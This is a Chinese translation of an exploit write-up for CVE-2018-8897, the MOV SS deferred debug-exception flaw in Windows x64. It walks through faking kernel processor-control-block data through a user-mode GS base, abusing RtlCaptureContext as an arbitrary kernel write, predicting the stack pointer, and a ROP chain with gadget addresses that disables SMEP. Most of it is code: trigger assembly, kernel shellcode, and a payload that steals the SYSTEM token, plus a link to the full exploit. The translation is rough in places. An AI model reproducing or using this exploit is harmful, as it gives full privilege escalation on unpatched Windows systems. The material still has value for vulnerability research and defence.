写在前面的话

就在几天前,Nick Peterson(@nickeverdox)和Nemanja Mulasmajic(@ 0xNemi)发现了一个允许非特权用户运行带有用户模式GSBASE的#DB处理程序的新漏洞。在白皮书的最后,他们发布了 triplefault.io,他们提到他们能够加载和执行未签名的内核代码,这让我产生感兴趣; 这正是我要在这篇文章中尝试做的。

在开始之前,我想指出的是,这个漏洞在虚拟机上不起作用,因为int3在虚拟化下丢弃了#DB。所以我通过“simulating”这种情况来调试它。

最终的源代码可以在底部找到。

 

0x0:设置基础

这个漏洞的基本原理非常简单,与开发漏洞不同。当堆栈段改变时 – 无论是通过MOV还是POP-下一条指令完成中断都被延迟。这不是微代码错误,而是英特尔添加的功能,因此可以同时设置堆栈段和堆栈指针。

然而,许多操作系统供应商忽略了这个细节,这让我们可以从用户模式的CPL0中获得一个#DB异常。

我们可以通过设置调试寄存器来创建延迟到CPL0的异常,以便在执行堆栈段更改指令期间#DB将引发并立即调用int 3 。int3将跳转到KiBreakpointTrap,并且在KiBreakpointTrap的第一条指令执行之前,我们的#DB将被提升。

正如原始白皮书中的everdox0xNemi所提到的,这使我们可以使用用户模式GSBASE运行内核模式异常处理程序。这样调试寄存器和XMM寄存器将被保存。

所有这些都可以通过几行来完成,如下所示:
#include <Windows.h>
#include <iostream>
void main()
{
static DWORD g_SavedSS = 0;
_asm
{
mov ax, ss
mov word ptr [ g_SavedSS ], ax
}
CONTEXT Ctx = { 0 };
Ctx.Dr0 = ( DWORD ) &g_SavedSS;
Ctx.Dr7 = ( 0b1 << 0 ) | ( 0b11 << 16 ) | ( 0b11 << 18 );
Ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
SetThreadContext( HANDLE( -2 ), &Ctx );
PVOID FakeGsBase = ...;
_asm
{
mov eax, FakeGsBase ; Set eax to fake gs base
push 0x23
push X64_End
push 0x33
push X64_Start
retf
X64_Start:
__emit 0xf3 ; wrgsbase eax
__emit 0x0f
__emit 0xae
__emit 0xd8
retf
X64_End:
`
; Vulnerability` mov ss, word ptr [ g_SavedSS ] ; Defer debug exception
int 3 ; Execute with interrupts disabled
nop
}
}
这个例子是32位的,为了将ASM和C一起展示,最后演示的代码将是64位。

现在,让我们开始调试,我们用我们的定制的GSBASEidebug gtraporfault!但是,这是灾难性的,因为我们最终会在KiDebugTrapOrFault-> KiGeneralProtectionFault-> KiPageFault-> KiPageFault-> ...无限循环中。如果我们有一个完全有效的GSBASE,那么我们所取得的成果将是一个KMODE_EXCEPTION_NOT_HANDLED BSOD , 所以让我们专注于GSBASE真正的功能,并尝试去KeBugCheckEx

我们可以利用一个小的IDA脚本更快地转到相关部分:
#include <idc.idc>
static main()
{
Message( "--- Step Till Next GS ---n" );
`
while( 1 )` {
auto Disasm = GetDisasmEx( GetEventEa(), 1 );
if ( strstr( Disasm, "gs:" ) >= Disasm )
break;
StepInto();
GetDebuggerEvent( WFNE_SUSP, -1 );
}
}

 

0x1:修复KPCR数据

以下是我们必须修改GSBASE内容并且成功通过的几个案例:

– KiDebugTrapOrFault

KiDebugTrapOrFault:
...
MEMORY:FFFFF8018C20701E ldmxcsr dword ptr gs:180h
Pcr.Prcb.MxCsr需要有一个有效的标志组合来传递这个指令,否则它会产生#GP。所以让我们将其设置为初始值0x1F80

– KiExceptionDispatch

KiExceptionDispatch:
...
MEMORY:FFFFF8018C20DB5F mov rax,gs :188h
MEMORY:FFFFF8018C20DB68 bt dword ptr [rax + 74h ],8
Pcr.Prcb.CurrentThread位于gs:188h。我们将分配一块内存并在gs:188h中引用它。

– KiDispatchException

KiDispatchException:
...
MEMORY:FFFFF8018C12A4D8 mov rax,gs :qword_188
MEMORY:FFFFF8018C12A4E1 mov rax,[rax + 0B8h ]

这是Pcr.Prcb.CurrentThread.ApcStateFill.Process,我们将再次分配一块内存,并简单地将该指针指向它。

KeCopyLastBranchInformation:
...
MEMORY:FFFFF8018C12A0AC mov rax,gs :qword_20
MEMORY:FFFFF8018C12A0B5 mov ecx,[rax + 148h ]

来自GSBASE0x20Pcr.CurrentPrcb,即Pcr + 0x180。让我们将Pcr.CurrentPrcb设置为Pcr + 0x180,同时将Pcr.Self设置为&Pcr

– RtlDispatchException

这一项我会讲的更加详细。RtlDispatchException调用RtlpGetStackLimits,如果失败,则调用KeQueryCurrentStackInformation__fastfail。这里的问题是KeQueryCurrentStackInformation检查RSPPcr.Prcb.RspBasePcr.Prcb.CurrentThread-> InitialStack,Pcr.Prcb.IsrStack的当前值,如果它没有找到它报告失败的匹配项。我们显然无法从用户模式知道内核堆栈的价值,那该怎么办?

在函数中间有一个奇怪的检查:
char __fastcall KeQueryCurrentStackInformation(_DWORD *a1, unsigned __int64 *a2, unsigned __int64 *a3)
{
...
if ( *(_QWORD *)(*MK_FP(__GS__, 392i64) + 40i64) == *MK_FP(__GS__, 424i64) )
{
...
}
else
{
*v5 = 5;
result = 1;
*v3 = 0xFFFFFFFFFFFFFFFFi64;
*v4 = 0xFFFF800000000000i64;
}
return result;
}

多亏了这个检查,只要我们确定KThread.InitialStack(KThread + 0x28)不等于Pcr.Prcb.RspBase(gs:1A8h),KeQueryCurrentStackInformation将返回成功,0xFFFF800000000000-0xFFFFFFFFFFFFFFFF作为报告的堆栈范围。我们继续并将Pcr.Prcb.RspBase设置为1,将Pcr.Prcb.CurrentThread-> InitialStack设置为0.问题已解决。

RtlDispatchException在更改后将失效,不会发生错误检查并返回KiDispatchException

– KeBugCheckEx

我们终于来了。这是我们需要解决的最后一件事:

MEMORY:FFFFF8018C1FB94A mov rcx,gs :qword_20
MEMORY:FFFFF8018C1FB953 mov rcx,[rcx + 62C0h ]
MEMORY:FFFFF8018C1FB95A 调用RtlCaptureContext

Pcr.CurrentPrcb->上下文是KeBugCheck保存调用者的上下文的地方,并且出于某种奇怪的原因,它是PCONTEXT而不是CONTEXT。我们并不关心Pcr的任何其他字段,所以让我们将它设置为Pcr + 0x3000,仅仅是为了现在有一个有效的指针。

 

0x2: Write | What | Where

让我们噪起来,向胜利象征的甜美蓝色屏幕出发吧!

现在一切正常,我们如何利用它?

KeBugCheckEx之后的代码太复杂,无法一个接一个,这根本没有意思,所以我们不想错误检查。

我编写了另一个IDA脚本来记录感兴趣的点(例如gs:访问和跳转以及对寄存器和[寄存器+ x]的调用),并直到KeBugCheckEx被触发为止:
#include <idc.idc>
static main()
{
Message( "--- Logging Points of Interest ---n" );
`
while( 1 )
{
auto IP = GetEventEa();
auto Disasm = GetDisasmEx( IP, 1 );
`
if
(
( strstr( Disasm, "gs:" ) >= Disasm ) ||
( strstr( Disasm, "jmp r" ) >= Disasm ) ||
( strstr( Disasm, "call r" ) >= Disasm ) ||
( strstr( Disasm, "jmp" ) >= Disasm && strstr( Disasm, "[r" ) >= Disasm ) ||
( strstr( Disasm, "call" ) >= Disasm && strstr( Disasm, "[r" ) >= Disasm )
)
{
Message( "-- %s (+%x): %sn", GetFunctionName( IP ), IP - GetFunctionAttr( IP, FUNCATTR_START ), Disasm );
}
`
StepInto();
GetDebuggerEvent( WFNE_SUSP, -1 );
`
if( IP == ... )
break;
}
}

令我失望的是,没有出现跳转或调用。整个输出是:
- KiDebugTrapOrFault (+3d): test word ptr gs:278h, 40h
- sub_FFFFF8018C207019 (+5): ldmxcsr dword ptr gs:180h
-- KiExceptionDispatch (+5f): mov rax, gs:188h
--- KiDispatchException (+48): mov rax, gs:188h
--- KiDispatchException (+5c): inc gs:5D30h
---- KeCopyLastBranchInformation (+38): mov rax, gs:20hh
---- KeQueryCurrentStackInformation (+3b): mov rax, gs:188h
---- KeQueryCurrentStackInformation (+44): mov rcx, gs:1A8h
--- KeBugCheckEx (+1a): mov rcx, gs:20h

这意味着我们必须找到一种写入内核模式内存和滥用的方法。RtlCaptureContext在这里会有很大的帮助。正如我前面提到的那样,它从Pcr.CurrentPrcb-> Context获取上下文指针,这很奇怪地是PCONTEXT上下文而不是上下文,这意味着我们可以为其提供任何内核地址并使其写入上下文。

我原本打算把它写在g_CiOptions上,并且在另一个线程中连续使用NtLoadDriver,但是这个想法并没有像我想的那么好(这就是说,这是@everdox和@ 0xNemi的工作方式,我想我们会看看他们在BlackHat 2018上使用了什么黑魔法),只是因为当前线程停留在无限循环中,另一个尝试NtLoadDriver的线程由于其使用的IPI而不会成功:

NtLoadDriver-> – > MiSetProtectionOnSection-> KeFlushMultipleRangeTb-> IPI->死锁

在玩了1-2天的g_CiOptions之后,我想到了一个更好的主意:建立一个ROP链。

我们如何建立一个没有RSP的ROP链?打开脑洞,我们实际上可以访问RSP。我们可以通过将Prcb.Context指向用户模式内存并轮询来自辅助线程的Context.RSP值来获得当前的RSP。可悲的是,这本身并没有用,因为我们已经通过了RtlCaptureContext(我们写了什么漏洞)。

但是,如果我们可以在RtlCaptureContext完成其工作并以某种方式预测RSP的下一个值之后返回到KiDebugTrapOrFault, 这正是我们要做的。

要返回到KiDebugTrapOrFault,我们将再次使用我们可爱的调试寄存器。在RtlCaptureContext返回之后,对KiSaveProcessorControlState进行调用。
.text:000000014017595F mov rcx, gs:20h
.text:0000000140175968 add rcx, 100h
.text:000000014017596F call KiSaveProcessorControlState
.text:0000000140175C80 KiSaveProcessorControlState proc near ; CODE XREF: KeBugCheckEx+3Fp
.text:0000000140175C80 ; KeSaveStateForHibernate+ECp ...
.text:0000000140175C80 mov rax, cr0
.text:0000000140175C83 mov [rcx], rax
.text:0000000140175C86 mov rax, cr2
.text:0000000140175C89 mov [rcx+8], rax
.text:0000000140175C8D mov rax, cr3
.text:0000000140175C90 mov [rcx+10h], rax
.text:0000000140175C94 mov rax, cr4
.text:0000000140175C97 mov [rcx+18h], rax
.text:0000000140175C9B mov rax, cr8
.text:0000000140175C9F mov [rcx+0A0h], rax

我们将在gs:20h + 0x100 + 0xA0上设置DR1,并使KeBugCheckEx返回到KiDebugTrapOrFault

为了编写我们的ROP链,我们首先让KiDebugTrapOrFault-> ... - > RtlCaptureContext执行一次,给我们的用户模式线程一个初始的RSP值,然后让它执行另一个时间来获得新的RSP,这将使我们计算每个 – 执行RSP差异。该RSP增量将保持不变,因为控制流量也是恒定的。

现在我们有了RSP增量,我们将预测RSP的下一个值,从中减去8来计算RtlCaptureContext的返回指针并使Prcb.Context.Xmm13 - Prcb.Context.Xmm15覆盖它。

线程逻辑将如下所示:

volatile PCONTEXT Ctx = *( volatile PCONTEXT* ) ( Prcb + Offset_Prcb__Context );
while ( !Ctx->Rsp ); // Wait for RtlCaptureContext to be called once so we get leaked RSP
uint64_t StackInitial = Ctx->Rsp;
while ( Ctx->Rsp == StackInitial ); // Wait for it to be called another time so we get the stack pointer difference
// between sequential KiDebugTrapOrFault
StackDelta = Ctx->Rsp - StackInitial;
PredictedNextRsp = Ctx->Rsp + StackDelta; // Predict next RSP value when RtlCaptureContext is called
uint64_t NextRetPtrStorage = PredictedNextRsp - 0x8; // Predict where the return pointer will be located at
NextRetPtrStorage &= ~0xF;
*( uint64_t* ) ( Prcb + Offset_Prcb__Context ) = NextRetPtrStorage - Offset_Context__XMM13;
// Make RtlCaptureContext write XMM13-XMM15 over it

现在我们只需要设置一个ROP链并将其写入XMM13-XMM15。我们无法预测XMM15的哪一半会因为我们应用的掩码符合movaps对齐要求而受到打击,所以前两个指针应该只是指向一个[RETN]指令。

我们需要加载一个具有我们选择设置CR4的值的寄存器,以便XMM14将指向一个[POP RCX; RETN]工具,然后是禁用SMEP的有效CR4值。至于XMM13,我们只是要使用[MOV CR4,RCX; RETN;]工具后跟一个指向我们shellcode的指针。

最后的链看起来是这样的:
- &retn ; (fffff80372e9502d)
- &retn ; (fffff80372e9502d)
- &pop rcx ; RETN; (fffff80372ed9122)
- cr4_nosmep (00000000000506 f8)
- &mov cr4,rcx ; RETN; (fffff803730045c7)
- &KernelShellcode (00007 ff613fb1010)

在我们的shellcode中,我们需要恢复CR4值,swapgs,回滚ISR堆栈,执行我们想要的代码和IRETQ回到用户模式,这可以像下面这样完成:
NON_PAGED_DATA fnFreeCall k_ExAllocatePool = 0;
using fnIRetToVulnStub = void( * ) ( uint64_t Cr4, uint64_t IsrStack, PVOID ContextBackup );
NON_PAGED_DATA BYTE IRetToVulnStub[] =
{
0x0F, 0x22, 0xE1, // mov cr4, rcx ; cr4 = original cr4
0x48, 0x89, 0xD4, // mov rsp, rdx ; stack = isr stack
0x4C, 0x89, 0xC1, // mov rcx, r8 ; rcx = ContextBackup
0xFB, // sti ; enable interrupts
0x48, 0xCF // iretq ; interrupt return
};
NON_PAGED_CODE void KernelShellcode()
{
__writedr( 7, 0 );
uint64_t Cr4Old = __readgsqword( Offset_Pcr__Prcb + Offset_Prcb__Cr4 );
__writecr4( Cr4Old & ~( 1 << 20 ) );
__swapgs();
uint64_t IsrStackIterator = PredictedNextRsp - StackDelta - 0x38;
__writedr( 2, StackDelta );
__writedr( 3, IsrStackIterator );
// Unroll nested KiBreakpointTrap -> KiDebugTrapOrFault -> KiTrapDebugOrFault
while (
( ( ISR_STACK* ) IsrStackIterator )->CS == 0x10 &&
( ( ISR_STACK* ) IsrStackIterator )->RIP > 0x7FFFFFFEFFFF )
{
__rollback_isr( IsrStackIterator );
// We are @ KiBreakpointTrap -> KiDebugTrapOrFault, which won't follow the RSP Delta
if ( ( ( ISR_STACK* ) ( IsrStackIterator + 0x30 ) )->CS == 0x33 )
{
/*
fffff00e``d7a1bc38 fffff8007e4175c0 nt!KiBreakpointTrap
fffff00e``d7a1bc40 0000000000000010
fffff00e``d7a1bc48 0000000000000002
fffff00e``d7a1bc50 fffff00ed7a1bc68
fffff00e``d7a1bc58 0000000000000000
fffff00e``d7a1bc60 0000000000000014
fffff00e``d7a1bc68 00007ff7e2261e95 --
fffff00e``d7a1bc70 0000000000000033
fffff00e``d7a1bc78 0000000000000202
fffff00e``d7a1bc80 000000ad39b6f938
*/
IsrStackIterator = IsrStackIterator + 0x30;
break;
}
IsrStackIterator -= StackDelta;
}
PVOID KStub = ( PVOID ) k_ExAllocatePool( 0ull, ( uint64_t )sizeof( IRetToVulnStub ) );
Np_memcpy( KStub, IRetToVulnStub, sizeof( IRetToVulnStub ) );
// ------ KERNEL CODE ------
....
// ------ KERNEL CODE ------
__swapgs();
( ( ISR_STACK* ) IsrStackIterator )->RIP += 1;
( fnIRetToVulnStub( KStub ) )( Cr4Old, IsrStackIterator, ContextBackup );
}

我们无法恢复任何寄存器,因此我们会让负责执行漏洞的线程将上下文存储在全局容器中,并从中恢复。现在我们执行了代码并返回到用户模式,我们的漏洞已经完成!

让我们来做一个简单的演示,窃取系统令牌:

uint64_t SystemProcess = *k_PsInitialSystemProcess;
uint64_t CurrentProcess = k_PsGetCurrentProcess();
uint64_t CurrentToken = k_PsReferencePrimaryToken( CurrentProcess );
uint64_t SystemToken = k_PsReferencePrimaryToken( SystemProcess );
for ( int i = 0; i < 0x500; i+= 0x8 )
{
uint64_t Val = *( uint64_t * ) ( CurrentProcess + i );
Val &= ~0xF;
if ( Val == CurrentToken )
{
*( uint64_t * ) ( CurrentProcess + i ) = SystemToken;
break;
}
}
k_PsDereferencePrimaryToken( CurrentToken );
k_PsDereferencePrimaryToken( SystemToken );


该概念的完整实现可在以下网址找到:https://github.com/can1357/CVE-2018-8897